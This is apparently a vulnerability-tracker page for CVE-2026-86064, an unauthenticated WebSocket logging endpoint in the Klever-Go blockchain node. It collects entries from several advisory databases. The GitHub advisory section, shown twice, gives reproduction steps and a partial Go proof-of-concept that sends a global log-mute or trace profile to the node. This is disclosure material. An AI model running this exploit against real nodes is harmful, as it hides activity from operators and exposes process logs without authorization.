CVE-2026-86064
Klever-Go: /log controls global node logging
Klever-Go is the Go implementation of the Klever blockchain protocol. Prior to 1.7.20, the default-open GET /log WebSocket route configured in config/node/api.yaml and registered by network/api/api.go does not require authentication. The first client message is parsed as a logger Profile in network/api/logs/logSender.go and applied process-wide through Profile.Apply, allowing a remote client to change global log levels and formatting options until the connection closes. The same connection is registered as a log observer and can receive live process logs. An attacker can suppress normal logs, increase verbosity, distort operator visibility, and access operational information without credentials. This issue is fixed in version 1.7.20.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- Low
- Availability
- Low
Exploit likelihood
What each source reports
CVE List Score used
8.6
Klever-Go: /log controls global node logging
Klever-Go is the Go implementation of the Klever blockchain protocol. Prior to 1.7.20, the default-open GET /log WebSocket route configured in config/node/api.yaml and registered by network/api/api.go does not require authentication. The first client message is parsed as a logger Profile in network/api/logs/logSender.go and applied process-wide through Profile.Apply, allowing a remote client to change global log levels and formatting options until the connection closes. The same connection is registered as a log observer and can receive live process logs. An attacker can suppress normal logs, increase verbosity, distort operator visibility, and access operational information without credentials. This issue is fixed in version 1.7.20.
- Record
CVE-2026-86064- CVSS 3.1
- 8.6 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L - Weakness
- CWE-200, CWE-306
- Updated
- 2026-11-02
EUVDEUVD-2026-85574
8.6
Klever-Go is the Go implementation of the Klever blockchain protocol. Prior to 1.7.20, the default-open GET /log WebSocket route configured in config/node/api.yaml and registered by network/api/api.go does not require authentication. The first client message is parsed as a logger Profile in network/api/logs/logSender.go and applied process-wide through Profile.Apply, allowing a remote client to change global log levels and formatting options until the connection closes. The same connection is registered as a log observer and can receive live process logs. An attacker can suppress normal logs, increase verbosity, distort operator visibility, and access operational information without credentials. This issue is fixed in version 1.7.20.
- Record
EUVD-2026-85574- CVSS 3.1
- 8.6 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-9v8p-frvj-2pcm
8.6
Klever-Go: /log controls global node logging
An unauthenticated client can connect to GET /log, send an arbitrary logger profile as the first WebSocket message, and mutate the node's global logging configuration before receiving live logs from the process. I confirmed this against a local validator built from this repository: an unauthenticated client set the global log level to *:NONE, the node accepted the profile, and the node stopped emitting normal slot logs while the WebSocket connection remained open.
This is not a duplicate of the published KVM or P2P advisories. It is a management-plane flaw in the public WebSocket logging endpoint.
Vulnerability details
Affected code
- Route exposed by default in
config/node/api.yaml - Route registration in
network/api/api.go - Unauthenticated upgrade in
network/api/api.go - First client message is parsed as a logger profile and applied globally in
network/api/logs/logSender.go - Global logger mutation happens in dependency
github.com/klever-io/klever-go-logger,profile.go,Apply()
Root cause
/log is enabled by default and does not require authentication. After the WebSocket upgrade, the server reads the first client message and treats it as a logger Profile. That profile is then applied process-wide through profile.Apply(), which changes global log level patterns and output formatting options for the whole node.
After that handshake, the same unauthenticated connection is registered as a log observer and receives live logs from the running process.
Reproduction steps
Environment
- Validator built from the repository at commit
9640d63265e910e166dfa694c8e5ddeb53018ffd - REST API bound locally for validation
- Tested on 2026-05-30
Step 1: Build and run a local validator from source
cd <repo-root>
go build -o ./bin/validator ./cmd/node
./bin/validator \
--rest-api-interface=127.0.0.1:18080 \
--port=18083 \
--config=./config/node/config.yaml \
--config-api=./config/node/api.yaml \
--config-epochs=./config/node/enableEpochs.yaml \
--config-gas-schedule=./config/node/gasScheduleV1.yaml \
--config-external=./config/node/external.yaml \
--genesis-file=./config/node/genesis.json \
--nodes-setup-file=./config/node/nodesSetup.json \
--working-directory=./validator-report-run \
--use-log-view
The node exposes GET /log and a plain HTTP request already shows it is a live WebSocket endpoint:
curl -i http://127.0.0.1:18080/log
Observed response:
HTTP/1.1 400 Bad Request
Sec-Websocket-Version: 13
Step 2: Confirm normal node logging before the attack
Before the attack, the validator emits periodic slot logs such as:
#################################### SLOT 14 BEGINS ####################################
#################################### SLOT 15 BEGINS ####################################
Step 3: Connect to /log without authentication and apply a global mute profile
Run the PoC file:
cd <repo-root>
go run ./poc-log-profile-control.go \
-url ws://127.0.0.1:18080/log \
-profile none \
-hold 12s
Full PoC source:
package main
import (
"flag"
"fmt"
"log"
"time"
"github.com/gorilla/websocket"
)
func main() {
url := flag.String("url", "ws://127.0.0.1:18080/log", "WebSocket log endpoint")
profile := flag.String("profile", "none", "Profile to send: none or trace")
hold := flag.Duration("hold", 12*time.Second, "How long to keep the socket open")
flag.Parse()
payload := `{"LogLevelPatterns":"*:NONE","WithCorrelation":false,"WithLoggerName":false}`
switch *profile {
case "trace":
payload = `{"LogLevelPatterns":"*:TRACE","WithCorrelation":true,"WithLoggerName":true}`
case "none":
default:
log.Fatalf("unsupported profile %q", *profile)
}
c, _, err := websocket.DefaultDialer.Dial(*url, nil)
if err != nil {
log.Fatalf("dial: %v", err)
}
defer c.Close()
fmt.Printf("connected to %s\n", *url)
fmt.Printf("sending payload: %s\n", payload)
if err :=…
- Record
GHSA-9v8p-frvj-2pcm- CVSS 3.1
- 8.6 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L - Weakness
- CWE-200, CWE-306
- Updated
- 2026-11-02
NVD
8.6
Klever-Go is the Go implementation of the Klever blockchain protocol. Prior to 1.7.20, the default-open GET /log WebSocket route configured in config/node/api.yaml and registered by network/api/api.go does not require authentication. The first client message is parsed as a logger Profile in network/api/logs/logSender.go and applied process-wide through Profile.Apply, allowing a remote client to change global log levels and formatting options until the connection closes. The same connection is registered as a log observer and can receive live process logs. An attacker can suppress normal logs, increase verbosity, distort operator visibility, and access operational information without credentials. This issue is fixed in version 1.7.20.
- Record
CVE-2026-86064- CVSS 3.1
- 8.6 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L - Weakness
- CWE-200, CWE-306
- Updated
- 2026-11-02
OSV
8.6
Klever-Go: /log controls global node logging
Klever-Go is the Go implementation of the Klever blockchain protocol. Prior to 1.7.20, the default-open GET /log WebSocket route configured in config/node/api.yaml and registered by network/api/api.go does not require authentication. The first client message is parsed as a logger Profile in network/api/logs/logSender.go and applied process-wide through Profile.Apply, allowing a remote client to change global log levels and formatting options until the connection closes. The same connection is registered as a log observer and can receive live process logs. An attacker can suppress normal logs, increase verbosity, distort operator visibility, and access operational information without credentials. This issue is fixed in version 1.7.20.
- Record
CVE-2026-86064- CVSS 3.1
- 8.6 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L - Weakness
- CWE-200, CWE-306
- Updated
- 2026-11-02
OSVGHSA-9v8p-frvj-2pcm
8.6
Klever-Go: /log controls global node logging
An unauthenticated client can connect to GET /log, send an arbitrary logger profile as the first WebSocket message, and mutate the node's global logging configuration before receiving live logs from the process. I confirmed this against a local validator built from this repository: an unauthenticated client set the global log level to *:NONE, the node accepted the profile, and the node stopped emitting normal slot logs while the WebSocket connection remained open.
This is not a duplicate of the published KVM or P2P advisories. It is a management-plane flaw in the public WebSocket logging endpoint.
Vulnerability details
Affected code
- Route exposed by default in
config/node/api.yaml - Route registration in
network/api/api.go - Unauthenticated upgrade in
network/api/api.go - First client message is parsed as a logger profile and applied globally in
network/api/logs/logSender.go - Global logger mutation happens in dependency
github.com/klever-io/klever-go-logger,profile.go,Apply()
Root cause
/log is enabled by default and does not require authentication. After the WebSocket upgrade, the server reads the first client message and treats it as a logger Profile. That profile is then applied process-wide through profile.Apply(), which changes global log level patterns and output formatting options for the whole node.
After that handshake, the same unauthenticated connection is registered as a log observer and receives live logs from the running process.
Reproduction steps
Environment
- Validator built from the repository at commit
9640d63265e910e166dfa694c8e5ddeb53018ffd - REST API bound locally for validation
- Tested on 2026-05-30
Step 1: Build and run a local validator from source
cd <repo-root>
go build -o ./bin/validator ./cmd/node
./bin/validator \
--rest-api-interface=127.0.0.1:18080 \
--port=18083 \
--config=./config/node/config.yaml \
--config-api=./config/node/api.yaml \
--config-epochs=./config/node/enableEpochs.yaml \
--config-gas-schedule=./config/node/gasScheduleV1.yaml \
--config-external=./config/node/external.yaml \
--genesis-file=./config/node/genesis.json \
--nodes-setup-file=./config/node/nodesSetup.json \
--working-directory=./validator-report-run \
--use-log-view
The node exposes GET /log and a plain HTTP request already shows it is a live WebSocket endpoint:
curl -i http://127.0.0.1:18080/log
Observed response:
HTTP/1.1 400 Bad Request
Sec-Websocket-Version: 13
Step 2: Confirm normal node logging before the attack
Before the attack, the validator emits periodic slot logs such as:
#################################### SLOT 14 BEGINS ####################################
#################################### SLOT 15 BEGINS ####################################
Step 3: Connect to /log without authentication and apply a global mute profile
Run the PoC file:
cd <repo-root>
go run ./poc-log-profile-control.go \
-url ws://127.0.0.1:18080/log \
-profile none \
-hold 12s
Full PoC source:
package main
import (
"flag"
"fmt"
"log"
"time"
"github.com/gorilla/websocket"
)
func main() {
url := flag.String("url", "ws://127.0.0.1:18080/log", "WebSocket log endpoint")
profile := flag.String("profile", "none", "Profile to send: none or trace")
hold := flag.Duration("hold", 12*time.Second, "How long to keep the socket open")
flag.Parse()
payload := `{"LogLevelPatterns":"*:NONE","WithCorrelation":false,"WithLoggerName":false}`
switch *profile {
case "trace":
payload = `{"LogLevelPatterns":"*:TRACE","WithCorrelation":true,"WithLoggerName":true}`
case "none":
default:
log.Fatalf("unsupported profile %q", *profile)
}
c, _, err := websocket.DefaultDialer.Dial(*url, nil)
if err != nil {
log.Fatalf("dial: %v", err)
}
defer c.Close()
fmt.Printf("connected to %s\n", *url)
fmt.Printf("sending payload: %s\n", payload)
if err :=…
- Record
GHSA-9v8p-frvj-2pcm- CVSS 3.1
- 8.6 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L - Weakness
- CWE-200, CWE-306
- Updated
- 2026-11-02
OSVGO-2026-6583 No score
Klever-Go: /log controls global node logging in github.com/klever-io/klever-go
Klever-Go: /log controls global node logging in github.com/klever-io/klever-go
- Record
GO-2026-6583- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
github.com/klever-io/klever-goGo |
through 1.7.19 | 1.7.20 |
github.com/klever-io/klever-goGo |
before 1.7.20 | 1.7.20 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-86064 is a high vulnerability (CVSS 8.6) in Klever-io Klever-go, published September 23, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.58%, the 47th percentile. Fixed in github.com/klever-io/klever-go 1.7.20.
References
github.com/klever-io/klever-go/security/advisories/GHSA-9v8p-frvj-2pcm
github.com/klever-io/klever-go/pull/74
github.com/klever-io/klever-go/commit/a2740c985a788fb69e17742ea4f0c37c440733b2
github.com/klever-io/klever-go/releases/tag/v1.7.20
github.com/advisories/GHSA-9v8p-frvj-2pcm
github.com/CVEProject/cvelistV5/tree/main/cves/2026/86xxx/CVE-2026-86064.json
nvd.nist.gov/vuln/detail/CVE-2026-86064
github.com/klever-io/klever-go
Left out here: the rest of 2 source descriptions. The JSON record has them.